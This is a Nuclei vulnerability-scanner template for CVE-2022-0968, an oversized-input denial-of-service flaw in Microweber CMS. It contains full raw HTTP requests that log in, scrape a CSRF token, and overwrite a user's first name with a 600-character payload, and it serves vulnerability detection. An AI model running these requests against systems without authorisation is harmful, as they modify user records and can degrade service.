nuclei-templates/cves/2022/CVE-2022-0968.yaml

78 lines
2.4 KiB
YAML

id: CVE-2022-0968
info:
name: Microweber < 1.2.12 - Integer Overflow (DOS)
author: amit-jd
severity: medium
description: |
The microweber application allows large characters to insert in the input field "first & last name" which can allow attackers to cause a Denial of Service (DoS) via a crafted HTTP request. The first name & last name input should be limited to 50 characters or max 100 characters.
reference:
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
- https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
cvss-score: 5.5
cve-id: CVE-2022-0968
cwe-id: CWE-190
tags: cve,cve2022,overflow,microweber,cms
variables:
payload: '{{repeat("A", 600)}}'
requests:
- raw:
- |
POST /api/user_login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
- |
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
Host: {{Hostname}}
- |
POST /api/user/2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
req-condition: true
cookie-reuse: true
matchers:
- type: dsl
dsl:
- contains(body_3,'\"first_name\":\"{{payload}}\"')
- 'status_code_3==200'
- 'contains(all_headers_3,"application/json")'
condition: and
extractors:
- type: regex
part: body
name: form_token
internal: true
group: 1
regex:
- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
- type: regex
part: body
name: user
internal: true
group: 1
regex:
- '<input type="text" class="form-control" name="username" value="(.*)">'
- type: regex
part: body
name: email
internal: true
group: 1
regex:
- '<input type="email" class="form-control" name="email" value="(.*)">'